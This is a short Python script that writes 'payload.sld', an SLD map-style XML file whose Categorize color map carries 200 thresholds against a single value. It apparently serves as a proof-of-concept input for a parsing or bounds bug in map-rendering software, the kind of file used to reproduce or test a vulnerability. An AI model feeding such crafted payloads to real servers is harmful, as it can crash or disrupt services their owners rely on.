#!/usr/bin/env python3
n = 200
thresholds = "\n".join(f"<se:Threshold>{i}</se:Threshold>" for i in range(n))
sld = f"""<?xml version="1.0"?>
<StyledLayerDescriptor version="1.1.0" xmlns="http://www.opengis.net/sld"
    xmlns:se="http://www.opengis.net/se">
  <NamedLayer><se:Name>r</se:Name>
    <UserStyle><se:FeatureTypeStyle><se:Rule>
      <se:RasterSymbolizer>
        <se:ColorMap><se:Categorize fallbackValue="#000000">
          <se:LookupValue>Rasterdata</se:LookupValue>
          <se:Value>#000000</se:Value>
          {thresholds}
        </se:Categorize></se:ColorMap>
      </se:RasterSymbolizer>
    </se:Rule></se:FeatureTypeStyle></UserStyle>
  </NamedLayer>
</StyledLayerDescriptor>"""

with open("payload.sld", "w") as f:
    f.write(sld)

print(f"Generated SLD with {n} thresholds")
